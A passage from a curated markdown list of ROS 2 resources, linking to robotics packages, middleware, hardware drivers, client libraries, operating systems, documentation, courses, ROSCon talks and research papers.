Compute API.  - [ros2_moving_object](https://github.com/intel/ros2_moving_object) - Addressing moving objects based on messages generated by Object Analytics `ros2_object_analytics`.  - [ros2_openvino_toolkit](https://github.com/intel/ros2_openvino_toolkit) - ROS2 wrapper for CV API of OpenVINO™ (human vision emulation).  - [ros2_grasp_library](https://github.com/intel/ros2_grasp_library) - Probably a grasp library :).  - [apriltag_ros](https://github.com/christianrauch/apriltag_ros) - ROS2 node for AprilTag detection.  - [rosbridge_suite](https://github.com/RobotWebTools/rosbridge_suite) - Bridging your browser to the ROS 2.0.  - [ros2_message_filters](https://github.com/intel/ros2_message_filters) - ros2_message_filters blends various messages based on the conditions that filter needs to met and derives from ROS2 porting of ROS message_filters.  - [ros2-tensorflow](https://github.com/alsora/ros2-tensorflow) - ROS2 nodes for computer vision tasks in Tensorflow.  - [ros2_pytorch](https://github.com/klintan/ros2_pytorch) - ROS2 nodes for computer vision tasks in PyTorch . - [ros2_pytorch_cuda](https://github.com/slabban/ros2_pytorch_cuda) - Extension of [ros2_pytorch](https://github.com/klintan/ros2_pytorch) for CUDA devices with containerization. - [pid](https://github.com/UTNuclearRoboticsPublic/pid) - A PID controller for ROS2.  - [system-modes](https://github.com/micro-ROS/system_modes) - System modes for ROS 2 and micro-ROS. - [darknet_ros](https://github.com/leggedrobotics/darknet_ros/tree/ros2) - ROS2 wrapper for deploying Darknet's YOLO Computer Vision model. - [easy_perception_deployment](https://github.com/ros-industrial/easy_perception_deployment) - Package that accelerates training and deployment of Computer Vision models for industries.  - [easy_manipulation_deployment](https://github.com/ros-industrial/easy_manipulation_deployment) - Package that integrates perception elements to establish an end-to-end pick and place task.  - [ros2_pid_library](https://github.com/dottantgal/ros2_pid_library) - A ROS2 Humble fully configurable PID library  - [wayp_plan_tools](https://github.com/jkk-research/wayp_plan_tools) - Waypoint and planner tools for ROS 2 with minimal dependencies and an optional Gazebo Fortress simulation.  ### Middleware - [Micro XRCE-DDS Agent](https://github.com/eProsima/Micro-XRCE-DDS-Agent) - Micro XRCE-DDS Agent acts as a server between DDS Network and Micro XRCE-DDS Clients. - [Micro XRCE-DDS Agent docker](https://hub.docker.com/r/eprosima/micro-xrce-dds-agent/) - Docker image containing the Micro XRCE-DDS Agent. - [Micro XRCE-DDS Client](https://github.com/eProsima/Micro-XRCE-DDS-Client) - Micro XRCE-DDS implements a client-server protocol to enable resource-constrained devices (clients) to take part in DDS communications. - [micro-ROS-Agent](https://github.com/micro-ROS/micro-ROS-Agent) - ROS 2 package using Micro XRCE-DDS Agent. - [Eclipse Zenoh](https://github.com/eclipse-zenoh/zenoh) - [Zenoh](https://zenoh.io) is a scalable and extremely performant protocol that can be used transparently used to interact with [ROS2 applications](https://zenoh.io/blog/2021-04-28-ros2-integration/) as well as for [R2X communication](https://zenoh.io/blog/2021-03-23-discovery/). (https://img.shields.io/github/stars/eclipse-zenoh/zenoh) - [Eclipse Zenoh-Plugin-DDS](https://github.com/eclipse-zenoh/zenoh-plugin-dds) - This is a [zenoh](https://zenoh.io) plugin that allows to transparently route ROS2/DDS data over zenoh. This is commonly used for [R2X communication](https://zenoh.io/blog/2021-03-23-discovery/) over Wireless network or across the Internet. (https://img.shields.io/github/stars/eclipse-zenoh/zenoh-plugin-dds) ### "System" bindings - [rclandroid](https://github.com/esteve/ros2_android/tree/master/rclandroid) - Android API for ROS2.  - [rclnodejs](https://github.com/RobotWebTools/rclnodejs) - Node.js version of ROS2.0 client.  - [riot-ros2](https://github.com/astralien3000/riot-ros2) - This project enables ROS2 to run on microcontrollers using the RIOT Operating System.  - [ROS2-Integration-Service](https://github.com/eProsima/ROS2-Integration-Service) - ROS2 Integration and Routing which provides a complete tool to integrate other technologies with ROS2 easily and enable ROS2 on WAN/Internet. - [soss](https://github.com/osrf/soss) - The System Of Systems Synthesizer is used to integrate ROS2 via ROS2-Integration-Service with other (communication) systems. - [micro_ros_arduino](https://github.com/micro-ROS/micro_ros_arduino) - Integration of micro-ROS into Arduino software platform projects. - [micro_ros_zephyr_module](https://github.com/micro-ROS/micro_ros_zephyr_module) - Integration of micro-ROS in Zeyphr OS based projects. ### Driver layer - [Autoware.IO](https://www.autoware.io/) - Autoware.IO provides a heterogeneous hardware reference platform and enables the integration of member company's solutions onto platforms which support the Autoware.Auto and Autoware.AI software stack. - [ros2_xmlrpc_interface](https://github.com/aarushsesto/ros2_xmlrpc_interface) - ros2 interface package with xmlrpc, to communicate with a Sesto server using Sesto API.  - [cozmo_driver_ros2](https://github.com/FurqanHabibi/cozmo_driver_ros2) - Unofficial Anki Cozmo node for ROS2.  - [sphero_ros2](https://github.com/athackst/sphero_ros2) - ROS2 sphero driver.  - [flock2](https://github.com/clydemcqueen/flock2) - ROS2 driver for DJI Tello drones.  - [ros2_raspicam_node](https://github.com/Misterblue/ros2_raspicam_node) - ROS2 node for Raspberry Pi camera.  - [joystick_drivers](https://github.com/ros2/joystick_drivers) - ROS2 drivers for joysticks.  - [joystick_drivers_from_scratch](https://github.com/ros2/joystick_drivers_from_scratch) - Joystick driver packages for ROS 2.  - [joystick_ros2](https://github.com/FurqanHabibi/joystick_ros2) - Joystick driver for ROS2, support all platforms: Linux, macOS, Windows.  - [ros2_teleop_keyboard](https://github.com/rohbotics/ros2_teleop_keyboard) - Teleop Twist Keyboard for ROS2.  - [ros_astra_camera](https://github.com/ros2/ros_astra_camera) - ROS2 wrapper for Astra camera.  - [ros2_usb_camera](https://github.com/klintan/ros2_usb_camera) - ROS2 General USB camera driver.  - [ros2_android_drivers](https://github.com/esteve/ros2_android_drivers) - Collection of ROS2 drivers for several Android sensors.  - [ros2_intel_realsense](https://github.com/intel/ros2_intel_realsense) - ROS2 Wrapper for Intel® RealSense™ Devices.  - [raspicam2_node](https://github.com/christianrauch/raspicam2_node) - ROS2 node for camera module of Raspberry Pi.  - [ros2_track_imu](https://github.com/klintan/ros2_track_imu) - ROS2 node for TrackIMU IMU sensor. - [HRIM](https://github.com/AcutronicRobotics/HRIM) - A standard interface for robot modules. - [FIROS2](https://github.com/eProsima/FIROS2) - ROS2 integrable tool focused in the intercommunication between ROS2 and FIWARE.  - [lino2_upper](https://github.com/linorobot2/lino2_upper) - Linorobot on ROS2.  - [RysROS2](https://github.com/GroupOfRobots/RysROS2) - ROS2 software stack for MiniRys robots.  - [px4_to_ros](https://github.com/eProsima/px4_to_ros) - ROS2/ROS packages for communicate PX4 with ROS.  - [multiwii_ros2](https://github.com/christianrauch/multiwii_ros2) - ROS2 Node for MultiWii and Cleanflight flight controllers.  - [ydlidar_ros2](https://github.com/Adlink-ROS/ydlidar_ros2) - ROS2 wrapper for ydlidar.  - [zed-ros2-wrapper](https://github.com/stereolabs/zed-ros2-wrapper) - ROS 2 wrapper beta for the ZED SDK. - [ros2_denso_radar](https://github.com/klintan/ros2_denso_radar) - Toyota/Lexus 2015-2017 Denso Radar driver for ROS2. - [sick_scan2](https://github.com/SICKAG/sick_scan2) - ROS2 driver for the SICK TiM series of laser scanners (TiM551/TiM561/TiM571). - [ros2_ouster_drivers](https://github.com/SteveMacenski/ros2_ouster_drivers) - ROS2 Drivers for the Ouster OS-1 Lidars.  - [micro-ROS/hardware](https://github.com/micro-ROS/hardware) - Information and documentation about the hardware platforms used and supported in the micro-ROS project. - [Blickfeld Cube 1 & Cube Range](https://docs.blickfeld.com/cube/latest/external/ros/driver-v2/README.html) - ROS2 drivers for Blickfeld Cube 1 & Cube Range. - [Universal Robots](https://github.com/UniversalRobots/Universal_Robots_ROS2_Driver) - ROS2 drivers for UR CB3 and e-Series. - [odrive_ros2_control](https://github.com/Factor-Robotics/odrive_ros2_control) - ODrive driver for ros2_control. - [duro_gps_driver](https://github.com/szenergy/duro_gps_driver) - ROS/ROS2 driver for SwiftNav Duro Inertial GPS / GNSS receivers  ### Client libraries - [rclada](https://github.com/ada-ros/rclada) - ROS Client Library for Ada.  - [rclcpp](https://github.com/ros2/rclcpp) - ROS Client Library for C++.  - [rclgo](https://github.com/juaruipav/rclgo) - ROS Client Library for Go.  - [rclpy](https://github.com/ros2/rclpy) - ROS Client Library for Python.  - [rcljava](https://github.com/esteve/ros2_java/tree/master/rcljava) - ROS Client Library for Java.  - [rclnodejs](https://github.com/RobotWebTools/rclnodejs) - ROS Client Library for Node.js.  - [rclobjc](https://github.com/esteve/ros2_objc) - ROS Client Library for Objective C (for iOS).  - [rclc](https://github.com/ros2/rclc) - ROS Client Library for C.  - [ros2_rust](https://github.com/ros2-rust/ros2_rust) - Rust bindings for ROS2.  - [ros2_dotnet](https://github.com/esteve/ros2_dotnet) - .NET bindings for ROS2.  - [ros2cs](https://github.com/RobotecAI/ros2cs) - an alternative to ros2_dotnet, a ROS2 C# interface supporting full range of messages and modern ROS2.  ### Client libraries common - [rcl](https://github.com/ros2/rcl) - Library to support implementation of language specific ROS Client Libraries.  - [system_tests](https://github.com/ros2/system_tests) - Tests for rclcpp and rclpy.  - [rcl_interfaces](https://github.com/ros2/rcl_interfaces) - A repository for messages and services used by the ROS client libraries.  ### IDL generators - [rosidl_generator_java](https://github.com/esteve/ros2_java/tree/master/rosidl_generator_java) - Generate the ROS interfaces in Java.  - [rosidl_generator_objc](https://github.com/esteve/ros2_objc/tree/master/rosidl_generator_objc) - Generate the ROS interfaces in Objective C.  - [rosidl_generator_cpp](https://github.com/ros2/rosidl/tree/master/rosidl_generator_cpp) - Generate the ROS interfaces in C++.  - [rosidl_generator_c](https://github.com/ros2/rosidl/tree/master/rosidl_generator_c) - Generate the ROS interfaces in C.  - [rosidl](https://github.com/ros2/rosidl) - Packages which provide the ROS IDL (.msg) definition and code generation.  - [rosidl_dds](https://github.com/ros2/rosidl_dds) - Generate the DDS interfaces for ROS interfaces.  ### RMW (ROS middleware) - [rmw](https://github.com/ros2/rmw/tree/master/rmw) - Contains the ROS middleware API.  - [rmw_connext_cpp](https://github.com/ros2/rmw_connext/tree/master/rmw_connext_cpp) - Implement the ROS middleware interface using RTI Connext static code generation in C++.  - [rmw_fastrtps_cpp](https://github.com/ros2/rmw_fastrtps/tree/master/rmw_fastrtps_cpp) - Implement the ROS middleware interface using eProsima FastRTPS static code generation in C++.  - [rmw_dps](https://github.com/ros2/rmw_dps) - Implementation of the ROS Middleware (rmw) Interface using Intel's Distributed Publish & Subscribe.  - [rmw_opensplice_cpp](https://github.com/ros2/rmw_opensplice/tree/master/rmw_opensplice_cpp) - Implement the ROS middleware interface using PrismTech OpenSplice static code generation in C++.  - [rmw_coredx](https://github.com/tocinc/rmw_coredx) - CoreDX DDS integration layer for ROS2.  - [rmw_freertps](https://github.com/ros2/rmw_freertps) - RMW implementation using freertps.  - [rmw_zenoh](https://github.com/atolab/rmw_zenoh) - RMW implementation using Eclipse zenoh: Zero Overhead Pub/sub, Store/Query and Compute.  - [rcutils](https://github.com/ros2/rcutils) - Common C functions and data structures used in ROS 2.  - [freertps](https://github.com/ros2/freertps) - a free, portable, minimalist, work-in-progress RTPS implementation.  - [rmw_cyclonedds](https://github.com/atolab/rmw_cyclonedds) - ROS2 RMW layer for Eclipse Cyclone DDS.  - [rmw_zenoh](https://github.com/atolab/rmw_zenoh) - ROS2 RMW layer for [zenoh](https://zenoh.io). - [rmw_iceoryx](https://github.com/ros2/rmw_iceoryx) - Enables usage of the inter-process-communication middleware [Eclipse iceoryx](https://iceoryx.io). ### DDS communication mechanism implementations - [Connext DDS](https://www.rti.com/products/connext-dds-professional) - Connectivity Software for Developing and Integrating IIoT Systems. :heavy_dollar_sign: - [Fast-RTPS](https://github.com/eProsima/Fast-RTPS) - Implementation of RTPS Standard (RTPS is the wire interoperability protocol for DDS).  - [OpenSplice](https://github.com/ADLINK-IST/opensplice) - Implementation of the OMG DDS Standard.  :heavy_dollar_sign: - [CoreDX DDS](http://www.twinoakscomputing.com/coredx) - Implementation of Twin Oaks Computing, Inc.. :heavy_dollar_sign: - [freertps](https://github.com/ros2/freertps) - A free, portable, minimalist, work-in-progress RTPS implementation.  - [cdds](https://github.com/atolab/cdds) - Cyclone DDS is developed completely in the open and is undergoing the acceptance process to become part of Eclipse IoT.  - [Micro-XRCE-DDS)](https://github.com/eProsima/Micro-XRCE-DDS) - An XRCE DDS implementation (supported by microROS).  ### Build system (Linux) - [meta-ros2](https://github.com/erlerobot/meta-ros2) - ROS 2 Layer for OpenEmbedded Linux.  ### Build system (ROS2) - [ci](https://github.com/ros2/ci) - ROS 2 CI Infrastructure.  - [ament_cmake_export_jars](https://github.com/esteve/ros2_java/tree/master/ament_cmake_export_jars) - The ability to export Java archives to downstream packages in the ament buildsystem in CMake.  - [rmw_implementation_cmake](https://github.com/ros2/rmw/tree/master/rmw_implementation_cmake) - CMake functions which can discover and enumerate available implementations.  - [rmw_implementation](https://github.com/ros2/rmw_implementation) - CMake infrastructure and dependencies for rmw implementations.  ## Operating systems - [NuttX](https://github.com/micro-ROS/NuttX) - NuttX fork of the official one for use with micro-ROS. - [RIOT](https://github.com/RIOT-OS/RIOT) - RIOT is a real-time multi-threading operating system (...,) real-time capabilities, small memory footprint, (...) API offers partial POSIX compliance. - [eMCOS](https://www.esol.com/embedded/emcos.html) - POSIX-compliant real-time OS for many-core processors expected to support AUTOSAR in the future. - [PYNQ](http://www.pynq.io/) - Python-based rapid prototyping of high performance ML applications running on XILINX FPGAs. - [ReconROS](https://github.com/Lien182/ReconROS) - Framework for ROS2 FPGA-based hardware acceleration. Based on [ReconOS](https://github.com/reconos/reconos).  - [Ubuntu Core](https://ubuntu.com/core) - Build secure IoT devices with Ubuntu Core. - [Ubuntu Server](https://ubuntu.com/server) - [VxWorks](https://github.com/Wind-River/vxworks7-ros2-build) - The Secure, Safe, Reliable, and Certifiable real-time OS for Critical Infrastructure - [Zephyr](https://www.zephyrproject.org/) - Linux Foundation Projects RTOS aiming at beeing secure and safe. ## Packaging - [ros2-snap](https://snapcraft.io/docs/ros2-applications) - Create a snap for your ROS 2 application. ## Forks - [Apex.OS](https://www.apex.ai/apex-os) - Apex.OS is a fork of ROS 2 that has been made so robust and reliable that it can be used in safety-critical applications. ## Documentation - [ROS Index](https://index.ros.org/) - Future single entry point into ROS2 documentation (BETA). - [Foxy packages](https://index.ros.org/packages/page/1/time/#foxy). - [Dashing packages](https://index.ros.org/packages/page/1/time/#dashing). - [Crystal packages](https://index.ros.org/packages/page/1/time/#crystal). - [Bouncy packages](https://index.ros.org/packages/page/1/time/#bouncy). - [Ardent packages](https://index.ros.org/packages/page/1/time/#ardent). - [ROS 2 Design](http://design.ros2.org/) - Articles which inform and guide the ROS 2.0 design efforts. - [ROS 2 Docs (Overview)](http://docs.ros2.org/beta2/index.html#) - Details about ROS 2 internal design and organisation. - [ROS 2 Tutorials](https://github.com/ros2/ros2/wiki/Tutorials) - Study about ROS2 concept, libraries, build, and development with demoes/examples. - [ROS 2 Wiki](https://github.com/ros2/ros2/wiki) - Entry point to find all kind of information about ROS 2. - [ROS 2 Distribution (rosdistro)](https://github.com/ros2/rosdistro) - Info about distributions and the included packages. - [ROS2 package status](http://repo.ros2.org/). - [Bouncy package status](http://repo.ros2.org/status_page/ros_bouncy_default.html) - Status of ROS Bouncy packages. - [Ardent package status](http://repo.ros2.org/status_page/ros_ardent_default.html) - Status of ROS2 Ardent packages. - [ROS2 Buildfarm](http://build.ros2.org) - Build information (Jenkins build farm). - [ROS2 CLI cheats sheet](https://github.com/artivis/ros2_cheats_sheet/blob/master/cli/cli_cheats_sheet.pdf) - A cheats sheet for ROS 2 Command Line Interface. - [ROS2 Quality Assurance Guidelines](https://github.com/ros-industrial/ros2_quality_assurance_guidelines) - A collection of guidelines and tutorials for improving package quality, following REP-2004 quality standards and integrating Continuous Integration. ## Community - [ROS Discourse](https://discourse.ros.org/c/ng-ros) - [ROS Answers](https://answers.ros.org/questions/scope:all/sort:activity-desc/tags:ROS2/) - [ROS News](http://www.ros.org/news/) - [ROS Planet](http://planet.ros.org/) - [Stack Overflow](https://stackoverflow.com/questions/tagged/ros2) ## Books - [A Concise Introduction to Robot Programming with ROS2](https://github.com/fmrico/book_ros2) ## Courses - [ROS2 How To: Discover Next Generation ROS (Udemy)](https://www.udemy.com/ros2-how-to/) - [ROS 2 New Features: Skill-up with the latest features of Robot Operating System 2 (Udemy)](https://www.udemy.com/course/ros-2-new-features/) - [ROS 2 Basics in 5 Days (C++) - Learn how to start working with ROS 2 (The Construct)](http://www.theconstructsim.com/construct-learn-develop-robots-using-ros/robotigniteacademy_learnros/ros-courses-library/ros2-basics-course/) - ROS2 Autoware Course - [Autoware Course Lecture 1: Development Environment](https://www.youtube.com/watch?v=XTmlhvlmcf8) - [Autoware Course Lecture 2: ROS2 101](https://www.youtube.com/watch?v=FTA4Ia2vLS8) - [Autoware Course Lecture 3: ROS 2 Tooling - Develop Like a Pro](https://www.youtube.com/watch?v=wcibIqiRb04) - [Autoware Course Lecture 4: Platform HW, RTOS and DDS](https://www.youtube.com/watch?v=IyycN6ldsIs) - [Autoware Course Lecture 5: Autonomous Driving Stacks](https://www.youtube.com/watch?v=nTI4fnn2tuU) - [Autoware Course Lecture 6: Autoware 101](https://www.youtube.com/watch?v=eSHHmJrqpMU) - [Autoware Course Lecture 7: Object Perception: LIDAR](https://www.youtube.com/watch?v=xSGCpb24dhI) - [Autoware Course Lecture 8: Object Perception: CAMERA](https://www.youtube.com/watch?v=OtjTa-meJ-E) - [Autoware Course Lecture 9: Object Perception: Radar](https://www.youtube.com/watch?v=PcVIO-xoNv8) - [Autoware Course Lecture 10: State Estimation for Localization](https://www.youtube.com/watch?v=g2YURb-d9vY) - [Autoware Course Lecture 11: LGSVL Simulator](https://www.youtube.com/watch?v=OcB6FUbjZXo) - [Autoware Course Lecture 12: Motion Control](https://www.youtube.com/watch?v=fQJpAVRQBrI) - [ROS2-Industrial training material](https://github.com/ros-industrial/ros2_i_training) ## Presentations ### ROSCon 2022 [Program announcement](https://roscon.ros.org/2022/#program)(slides + videos) - Panel: The ROS 2 Developer Experience [video](https://vimeo.com/showcase/9954564/video/767155188) - Wearable ROS: Development of wearable robot system using ROS 2 [video](https://vimeo.com/showcase/9954564/video/767140298) [slides](http://download.ros.org/downloads/roscon/2022/Wearable%20ROS%20Development%20of%20wearable%20robot%20system%20using%20ROS2.pdf) - Building ROS 2 enabled Android apps with C++ [video](https://vimeo.com/showcase/9954564/video/767161955) [slides](http://download.ros.org/downloads/roscon/2022/Building%20ROS%202%20enabled%20Android%20apps%20with%20C++.pdf) - Distributed Robotics Simulator with Unreal Engine [video](https://vimeo.com/showcase/9954564/video/767139975) [slides](http://download.ros.org/downloads/roscon/2022/Distributed%20Robotics%20Simulator%20with%20Unreal%20Engine.pdf) - Tools and processes for improving the certifiability of ROS 2 [video](https://vimeo.com/showcase/9954564/video/767150613) [slides](http://download.ros.org/downloads/roscon/2022/Tools%20and%20processes%20for%20improving%20the%20certifiability%20of%20ROS%202.pdf) - Failover ROS Framework : Consensus-based node redundancy [video](https://vimeo.com/showcase/9954564/video/767156308) [slides](http://download.ros.org/downloads/roscon/2022/Failover%20ROS%20Framework%20Consensus-based%20node%20redundancy.pdf) - ROS 2 and Gazebo Integration Best Practices [video](https://vimeo.com/showcase/9954564/video/767127300) [slides](http://download.ros.org/downloads/roscon/2022/ROS%202%20and%20Gazebo%20Integration%20Best%20Practices.pdf) - Chain-Aware ROS Evaluation Tool (CARET) [video](https://vimeo.com/showcase/9954564/video/767150288) [slides](http://download.ros.org/downloads/roscon/2022/Chain-Aware%20ROS%20Evaluation%20Tool%20(CARET).pdf) - ROS 2 network monitoring [video](https://vimeo.com/showcase/9954564/video/767140681) [slides](http://download.ros.org/downloads/roscon/2022/ROS%202%20network%20monitoring.pdf) - How custom tasks are defined, assigned, and executed in Open-RMF [video](https://vimeo.com/showcase/9954564/video/767157210) [slides](http://download.ros.org/downloads/roscon/2022/How%20custom%20tasks%20are%20defined,%20assigned,%20and%20executed%20in%20Open-RMF.pdf) - A practitioner's guide to ros2_control [video](https://vimeo.com/showcase/9954564/video/767139648) [slides](http://download.ros.org/downloads/roscon/2022/A%20practitioner_s%20guide%20to%20ros2_control.pdf) - Zenoh: How to Make ROS 2 Work at any Scale and Integrate with Anything [video](https://vimeo.com/769972405) [slides](http://download.ros.org/downloads/roscon/2022/Zenoh%20How%20to%20Make%20ROS2%20Work%20at%20any%20Scale%20and%20Integrate%20with%20Anything.pdf) - A case study in optics manufacturing with MoveIt2 and ros2_control [video](https://vimeo.com/showcase/9954564/video/767140351) [slides](http://download.ros.org/downloads/roscon/2022/A%20case%20study%20in%20optics%20manufacturing%20with%20MoveIt2%20and%20ros2_control.pdf) - 20/20 Robot Vision - How to setup cameras in ROS 1 & ROS 2 using camera_aravis [video](https://vimeo.com/showcase/9954564/video/767140329) [slides](http://download.ros.org/downloads/roscon/2022/20%20-%2020%20Robot%20Vision%20-%20How%20to%20setup%20cameras%20in%20ROS%201%20&%20ROS%202%20using%20camera_aravis.pdf) - Filter your ROS 2 content [video](https://vimeo.com/767166447) [slides](http://download.ros.org/downloads/roscon/2022/Filter%20your%20ROS%202%20content.pdf) - Evolving Message Types, and Other Interfaces, Over Time [video](https://vimeo.com/showcase/9954564/video/767140015) [slides](http://download.ros.org/downloads/roscon/2022/Evolving%20Message%20Types,%20and%20Other%20Interfaces,%20Over%20Time.pdf) - Migrating from ROS1 to ROS 2 - choosing the right bridge [video](https://vimeo.com/showcase/9954564/video/767140113) [slides](http://download.ros.org/downloads/roscon/2022/Migrating%20from%20ROS1%20to%20ROS2%20-%20choosing%20the%20right%20bridge.pdf) - On Use of Nav2 Smac Planners [video](https://vimeo.com/showcase/9954564/video/767157646) [slides](http://download.ros.org/downloads/roscon/2022/On%20Use%20of%20Nav2%20Smac%20Planners.pdf) - Bazel and ROS 2 – building large scale safety applications [video](https://vimeo.com/showcase/9954564/video/767139879) [slides](http://download.ros.org/downloads/roscon/2022/Bazel%20and%20ROS%202%20%E2%80%93%20building%20large%20scale%20safety%20applications.pdf) - Native Rust components for ROS 2 [video](https://vimeo.com/showcase/9954564/video/767140150) [slides](http://download.ros.org/downloads/roscon/2022/Native%20Rust%20components%20for%20ROS2.pdf) - The ROS build farm and you: How ROS packages you release become binary packages. [video](https://vimeo.com/showcase/9954564/video/767169376) [slides](http://download.ros.org/downloads/roscon/2022/The%20ROS%20build%20farm%20and%20you%20How%20ROS%20packages%20you%20release%20become%20binary%20packages.pdf) - mROS 2: yet another runtime environment onto embedded devices [video](https://vimeo.com/showcase/9954564/video/767150435) [slides](http://download.ros.org/downloads/roscon/2022/mROS%202%20yet%20another%20runtime%20environment%20onto%20embedded%20devices.pdf) - ROS 2 & Edge Impulse: Embedded AI in robotics applications [video](https://vimeo.com/showcase/9954564/video/767140724) [slides](http://download.ros.org/downloads/roscon/2022/ROS2%20_%20Edge%20Impulse%20Embedded%20AI%20in%20robotics%20applications.pdf) - micro-ROS goes Automotive: supporting AUTOSAR-based microcontrollers [video](https://vimeo.com/769963507) [slides](http://download.ros.org/downloads/roscon/2022/micro-ROS%20goes%20Automotive%20supporting%20AUTOSAR-based%20microcontrollers.pdf) - An open architecture for Hardware Acceleration in ROS 2 [video](https://vimeo.com/769967795) [slides](http://download.ros.org/downloads/roscon/2022/An%20open%20architecture%20for%20Hardware%20Acceleration%20in%20ROS%202.pdf) - ROS 2 and the Crazyflie: Aerial swarms and Autonomy with a tiny flying robot [video](https://vimeo.com/showcase/9954564/video/767140197) [slides](http://download.ros.org/downloads/roscon/2022/ROS%202%20and%20the%20Crazyflie%20Aerial%20swarms%20and%20Autonomy%20with%20a%20tiny%20flying%20robot.pdf) - A Raspberry Pi image with ROS 2 + RT and a customizable image builder [video](https://vimeo.com/showcase/9954564/video/767139709) [slides](http://download.ros.org/downloads/roscon/2022/A%20Raspberry%20Pi%20image%20with%20ROS%202%20%2B%20RT%20and%20a%20customizable%20image%20builder.pdf) ### ROSCon 2021 [Program announcement](https://roscon.ros.org/world/2021/#program)(slides + videos) ### ROSCon Jp 2021 [Program announcement](https://roscon.ros.org/jp/2021/#program)(slides + videos) ### ROSCon 2020 [Program announcement](https://roscon.ros.org/world/2020/#program)(slides + videos) ### ROSCon 2019 [Program announcement](https://roscon.ros.org/2019/#program)(slides + videos) ### ROSCon Fr 2019 [Program announcement](https://roscon.fr/#program)(slides + videos) ### ROS-I EU Spring 2019 Workshop - Current Status of ROS 2 Hands-on Feature Overview [Slides](https://static1.squarespace.com/static/51df34b1e4b08840dcfd2841/t/5ce6c85ca4222fe0ccbd5309/1558628472094/2019-05-07_Current_Status_of_ROS_2.pdf) ### 2019 - Robot Modularity with Xilinx and H-ROS (Xilinx Inc.) [Video](https://www.xilinx.com/video/events/robot-modularity-with-xilinx-and-h-ros.html) ### ROSCon JP 2018 (english slide presentations only) - What's next for ROS? (from slide 24 onwards) [Slides](https://roscon.jp/2018/presentations/ROSCon_JP_2018_presentation_2.pdf) [Video](https://vimeo.com/292064161) ### ROSCon 2018 [program announcement](https://roscon.ros.org/2018/#program) - Hands-on ROS 2: A Walkthrough - ROS 2 on Autonomous Driving Vehicles - RViz – The tale of a migration to ROS 2.0 - Launch for ROS 2 - Getting involved in ROS 2 development - Planning to Plan: Plugins All The Way Down - Leveraging DDS Security in ROS2 - Arm DDS Security library: Adding secure security to ROS2 - ROS2: Supercharging the Jaguar4x4 - Performance Test - A Tool for Communication Middleware Performance Measuring - ROS2 for Android, iOS and Universal Windows Platform: a demonstration of ROS2’s portability, and cross-platform and cross-language capabilities - Integrating ROS and ROS2 on mixed-critical robotic systems based on embedded heterogeneous platforms - Towards ROS 2 microcontroller meta cross-compilation - Node.js Client & Web Bridge Ready for ROS 2.0 - RCLAda: the Ada client library for ROS2 ### Embedded World Conference 2018 - ADLink Neuron: An industrial oriented ROS2-based platform [Slides](https://raw.githubusercontent.com/Adlink-ROS/adlink_neuronbot/master/document/ADLINK_NeuronBot_20180313.pdf) [Video](https://www.youtube.com/watch?v=RC6XvTvTs9Y&feature=youtu.be) [Video](https://www.youtube.com/watch?v=qA4_Hmnd_tM&feature=youtu.be) ### 2018 - ROS2 - The Robot Operating System Version 2 (TNG Technology Consulting GmbH) [Slides](https://www.tngtech.com/fileadmin/Public/Images/BigTechday/BTD11/Folien/ROS2.pdf) [Video](https://www.youtube.com/watch?v=6Vzi0Grrlp8) ### ROS Industrial Conference 2017 - micro Robot Operating System: ROS for highly resource-constrained devices [Slides](https://static1.squarespace.com/static/51df34b1e4b08840dcfd2841/t/5a3bb6d524a6947d9d0cbc68/1513862873907/07_Losa.pdf) - ROS2 - it's coming [Slides](https://static1.squarespace.com/static/51df34b1e4b08840dcfd2841/t/5a3bb787e4966b606fe227d7/1513863070599/11_Thomas.pdf) ### ROSCon 2017 - The ROS 2 vision for advancing the future of robotics development [Slides](https://roscon.ros.org/2017/presentations/ROSCon%202017%20ROS2%20Vision.pdf) [Video](https://vimeo.com/236161417) - ROS2 Fine Tuning [Slides](https://roscon.ros.org/2017/presentations/ROSCon%202017%20ROS2%20Fine%20Tuning.pdf) [Video](https://vimeo.com/236168591) - SLAM on Turtlebot2 using ROS2 [Slides](https://roscon.ros.org/2017/presentations/ROSCon%202017%20ROS2%20SLAM.pdf) [Video](https://vimeo.com/236172294) - Using ROS2 for Vision-Based Manipulation with Industrial Robots [Slides](https://roscon.ros.org/2017/presentations/ROSCon%202017%20ROS2%20Vision-Based%20Manipulation.pdf) [Video](https://vimeo.com/236182180) ### 2017 - HyphaROS ROS 2.0 Introduction [slides](https://drive.google.com/file/d/1MW_w7MS1DNg1EzhprgbJKY2cqmxksPaw/view) ### ROS Industrial Conference 2016 - ROS 2.0 AND OPC UA: A STATUS UPDATE [Slides](https://static1.squarespace.com/static/51df34b1e4b08840dcfd2841/t/58235f2eb8a79be587899891/1478713139775/ROS-I-Conf2016-day1-09-keinert.pdf) ### ROSCon 2016 - ROS 2 Update [Slides](https://roscon.ros.org/2016/presentations/ROSCon%202016%20-%20ROS%202%20Update.pdf) [Video](https://vimeo.com/187696091) - Evaluating the resilience of ROS2 communication layer [Slides](https://roscon.ros.org/2016/presentations/rafal.kozik-ros2evaluation.pdf) [Video](https://vimeo.com/187705229) ### ROSCon 2015 - ROS 2 on “small” embedded systems [Slides](https://roscon.ros.org/2015/presentations/ros2_on_small_embedded_systems.pdf) [Video](https://vimeo.com/142150576) - State of ROS 2 - demos and the technology behind [Slides](https://roscon.ros.org/2015/presentations/state-of-ros2.pdf) [Video](https://vimeo.com/142151734) - Real-time Performance in ROS 2 [Slides](https://roscon.ros.org/2015/presentations/RealtimeROS2.pdf) [Video](https://vimeo.com/142621778) ## Papers - [Distributed and Synchronized Setup towards Real-Time Robotic Control using ROS2 on Linux](https://www.semanticscholar.org/paper/Distributed-and-Synchronized-Setup-towards-Robotic-Puck-Keller/10c4eeef9da0c5aa87664037f18a0ab746853757) - [Time Synchronization in modular collaborative robots](https://arxiv.org/pdf/1809.07295.pdf) - [Open Problems in Robotic Anomaly Detection](https://arxiv.org/pdf/1809.03565.pdf) - [Towards a distributed and real-time framework for robots: Evaluation of ROS 2.0 communications for real-time robotic applications](https://arxiv.org/pdf/1809.02595.pdf) - [An information model for modular robots: the Hardware Robot Information Model (HRIM)](https://arxiv.org/pdf/1802.01459.pdf) - [Introducting the Robot Security Framework (RSF), A standardized methodology to perform security assessments in robotics](https://arxiv.org/pdf/1806.04042.pdf) - [Towards an open standard for assessing the severity of robot security vulnerabilities, The Robot Vulnerability Scoring System (RVSS)](https://arxiv.org/pdf/1807.10357.pdf) - [Real-Time Characteristics of ROS 2.0 in Multiagent Robot Systems: An Empirical 